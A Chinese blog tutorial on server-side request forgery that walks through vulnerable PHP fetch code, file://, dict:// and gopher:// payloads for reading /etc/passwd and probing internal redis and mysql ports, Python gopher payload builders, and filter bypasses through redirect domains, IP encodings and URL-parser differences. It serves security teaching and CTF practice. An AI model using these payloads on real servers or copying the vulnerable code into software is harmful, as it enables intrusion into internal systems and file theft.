浅谈SSRF
0x01 什么是SSRF
SSRF(Server-side Request Forge, 服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
SSRF 容易出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
SSRF的利用
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher、ftp协议进行请求访问相应的文件
4.攻击内网web应用 如redis
5.攻击内网应用程序(利用跨协议通信技术)
6.判断内网主机是否存活:方法是访问看是否有端口开放
7.DoS攻击(请求大文件,始终保持连接keep-alive always)
SSRF的危害
- 端口扫描
- 内网Web 应用指纹识别
- 攻击内网Web 应用
- 读取本地文件
0x02 与SSRF相关的PHP函数或类
PHP curl
PHP中内置了curl方式,以支持PHP发出http请求
php实现curl的方式(需要开启php_curl 的extension):
<?php
function curl($url){
$ch = curl_init();#初始化一个curl对象
curl_setopt($ch,CURLOPT_URL,$url);#设置需要curl的url
curl_setopt($ch,CUPLOPT_HEADER,1);#设置返回响应头 为真
curl_exec($ch);#执行curl
curl_close($ch);#关闭curl
}
$url = $_GET['url'];
curl($url);
?>
file_get_contents()
file_get_contents经典的各种漏洞高发的函数
将文件以字符串形式读取,支持各种协议,是CTF中的常客
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
fsockopen()
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}?>
fsockopen
函数实现对用户指定url数据的获取,该函数可为PHP提供socket连接支持。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
fopen() readfile()....
注意
1. 一般情况下PHP不会开启fopen的gopher wrapper
2. file_get_contents的gopher协议不能URL编码
3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5. curl_exec() //默认不跟踪跳转,
6. file_get_contents() // file_get_contents支持 php://input协议
0x03 常见的几种URL协议利用
以下几个例子的演示代码:
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
echo $result;
}
?>
利用file://协议读取内网文件
File协议主要用于访问本地计算机中的文件,我们使用浏览器访问本地文件时,就是通过该协议进行访问.
该协议还比较常用,在ssrf中,我们可以利用其读取本地文件
在SSRF中的利用:
?url=file:///etc/passwd
?url=file:///var/www/html/flag.php
用该协议读PHP文件后需要查看源代码.
利用http/https 协议探测内网主机存活
我们可以利用http/https协议探测内网WEB服务器
在确定存在ssrf漏洞后,可以利用file
协议读取/etc/hosts
,/proc/net/arp
等配置信息来确定内网IP类型,
内网ip共分为三类:
A类地址:10.0.0.0--10.255.255.255
B类地址:172.16.0.0--172.31.255.255
C类地址:192.168.0.0--192.168.255.255
可通过该协议进行内网中WEB服务器的存活探测.
此利用也可以与下一类端口探测归为一类,毕竟WEB服务默认为80口.
但要提供的思路是不仅可以通过SSRF探测某一主机的存活端口,还可以嗅探内网中的其他主机存活情况
利用方式:
?url=http://192.168.1.116
?url=http://172.16.4.252
我们也可以利用Bp的Intruder进行爆破
在Intruder中选择payload type为Numbers
之后选择 start attack即可
利用dict://协议探测主机端口存活状态
dict协议:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。
我们可以利用dict://协议探测内网主机端口开放情况,如:
?url=dict://192.168.1.115:3306 #mysql?url=dict://192.168.5.112:6379 #redis?url=dict://192.168.4.153:80
比如我的电脑现在开启了redis mysql 与nginix :
探测6379 redis:
探测3306 mysql:
探测80口:
没有开放的端口自然不会有回显:
0x04 Gopher协议
Gopher协议由于危害最大,利用最强,被称为"万能协议",所以单独列题,但实际上也是一种URL协议的利用
什么是Gopher协议
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再组成符合gopher协议的请求。因为可以发出GET和POST请求,gopher协议是ssrf利用中最强大的协议
Gopher协议在各个编程语言中的限制:
--wite-curlwrappers:运用curl工具打开url流
curl使用curl --version查看版本以及支持的协议
尝试使用Gopher协议发送Http请求
访问URL
我们首先启动一个nc监听:
nc -lvp 4444
然后我们通过Gopher协议向4444端口发送请求
curl gopher://127.0.0.1:4444/abcd
此时nc监听收到的消息
可以看到abcd四个字符只收到了bcd,但是如果使curl命令如下:
curl gopher://127.0.0.1:4444/_abcd
此时abcd四个字符都被接收到
所以需要在使用gopher协议发送请求时在url后加入一个字符(该字符可随意写)
利用Gopher协议发送http GET请求
利用Gopher协议发送请求需要三个步骤:
1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议
在远程服务器www目录下新建php文件:
//get.php
<?php
echo "Hello ".$_GET['name'].'\n';
?>
一个GET请求包的基本结构如下:
GET /get.php?name=oriole HTTP/1.1HOST: 127.0.0.1
经过URL编码为
curl gopher://127.0.0.1:80/_GET%20/get.php%3fname=oriole%20HTTP/1.1%0d%0aHOST:%20127.0.0.1%0d%0a
在转换为URL编码时候有这么几个坑
1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表请求包结束(HTTP协议规定的结束标志)
发送请求:
利用Gopher协议发送http POST请求
发送POST请求的基本步骤和GET请求相同.
我们将get.php
改为如下内容:
//get.php<?php echo "Hello ".$_POST['name'].'\n';?>
一个POST请求包的基本结构如下
POST /get.php HTTP/1.1HOST: 127.0.0.1Content-Type:application/x-www-form-urlencodedContent-Length:11name=oriole
经过URL编码后:
curl gopher://127.0.0.1:80/_POST%20/get.php%20HTTP/1.1%0AHOST:%20127.0.0.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:11%0d%0a%0d%0aname=oriole%0d%0a
发送请求:
使用python脚本构造Gopher://协议利用
POST:
#-*- coding:utf-8 -*-
#orio1e
import urllib.parse
method="post"
payload=\
'''POST /get.php HTTP/1.1
HOST: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:$lenth
name=oriole
'''
payload=payload.replace('$lenth',str(len(payload.split('\n')[-2])))
urlencode_payload=urllib.parse.quote(payload)
replace_payload=urlencode_payload.replace('%0A','%0D%0A')
if not replace_payload.endswith('%0D%0A'):
replace_payload=replace_payload+'%0D%0A'
result="gopher://127.0.0.1:80/"+'_'+replace_payload
#result=urllib.parse.quote(result) #因为PHP会自动解码一次url编码,所以进行ssrf时需要再编码一次
print(result)
GET:
#-*- coding:utf-8 -*-
#orio1e
import urllib.parse
method="get"
payload=\
'''GET /get.php?name=oriole HTTP/1.1
HOST: 127.0.0.1
'''
urlencode_payload=urllib.parse.quote(payload)
replace_payload=urlencode_payload.replace(r'%0A',r'%0D%0A')
if not replace_payload.endswith('%0D%0A'):
replace_payload=replace_payload+'%0D%0A'
result="gopher://127.0.0.1:80/"+'_'+replace_payload
#result=urllib.parse.quote(result) #因为PHP会自动解码一次url编码,所以进行ssrf时需要再编码一次
print(result)
0x05 SSRF相关绕过
对于SSRF的限制大致有如下几种:
- 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
- 限制域名只能为http://www.xxx.com
- 限制不能访问内网的IP,以防止对内网进行攻击。
- 屏蔽返回的详细信息。
利用Http基本身份认证绕过
如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:
利用子域名重定向跳转进入内网IP
有一个非常神奇的网站xip.io:
该网站可将任意对其子域名的访问重定向至子域名部分的地址
比如 我们访问 172.16.4.252.xip.io
时,该网站的DNS服务器将使我们重定向至内网ip172.16.4.252
当在SSRF内网IP地址被限制,仅能访问http://www.xxx.com这样的域名时,可通过该网站进行绕过
或者有资源仅能通过127.0.0.1访问时可以构造127.0.0.1.xip.io
payload
还有http://nip.io,http://sslip.io。这两个网站也能实现同样功能
短地址跳转绕过
也是属于302绕过的一种
可进行短地址编码的一个网站:https://4m.cn/
我们把需要缩短的链接填入即可
生成缩短后的子域名
本质上和子域名重定向的原理是一样的
利用进制转换
进制的转换绕过内网IP
可以使用一些不同的进制替代ip地址
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:"; // 2130706433
echo $r;
echo "八进制:"; // 0177.0.0.1
echo decoct($r);
echo "十六进制:"; // 0x7f.0.0.1
echo dechex($r);
?>
特殊字符构造IP
以127.0.0.1为例:
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
利用不存在的协议头绕过指定的协议头
file_get_contents
函数存在一个解析特性,即当file_get_contents
函数遇到无法识别的协议头时,即会将其识别为目录,如此只要通过../
不断向上跳转即可造成目录穿越.
以下为例:
<?php
@$url=$_GET['url'];
if(!preg_match('/^https/is',$url)){
die("hacker!");
}
echo file_get_contents($url);
?>
此例中,正则限制了必须以https
为开头
我们构造payload:
?url=httpsssss://../../../../../../../../etc/passwd
利用不同的URL解析差异进行绕过
此思路来源于美国BlackHat2017的一个台湾团队讨论
题为A New Era of SSRF -Exploiting URL Parser in Trending Programming Languages!
1. 利用readfile与parse_url函数的解析差异绕过指定端口
例:
$url='http://'. $_GET[url];$parsed=parse_url($url);
if( $parsed[port] ==80) {#限制只能通过80口进行访问
readfile($url);
} else{
die('You Shall Not Pass');
}
假设此时有一个WEB服务在11211口上,而flag在该WEB服务根目录的flag.txt中,我们可以通过如下方式绕过对80口的限制
?url=127.0.0.1:11211:80/flag.txt
原理如下:
由于readfile
函数与parse_url
函数在解析url时的正则匹配不同,parse_url
函数将端口解析为最后一个冒号之后的80
而readfile
函数将识别第一个冒号之后的端口11211
,从而绕过限制
readfile
函数与pares_url
函数在解析host上也有差异:
当url为http://xxx.com@xxx,com/时,parse_url
函数将识别@
前面的域名为host,而readfile
函数将把@
后的域名解析为host
2.利用curl与parse_url解析差异绕过host
我们可以看到,curl将第一个@
后的域名解析为host,而PHP中的parse_url
函数将把第二个@
后的域名解析为函数
利用此原理我们可以绕过parse_url
对host的限制
例:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
以上例子中通过parse_url
限制了url不能为内网IP,而flag.php在127.0.0.1/flag.php 所以我们可以构造payload如下:
?url=http://@127.0.0.1:80@www.baidu.com/flag.php
1 条回复关于浅谈SSRF
[...]http://www.oriole.fun/index.php/archives/69/[...]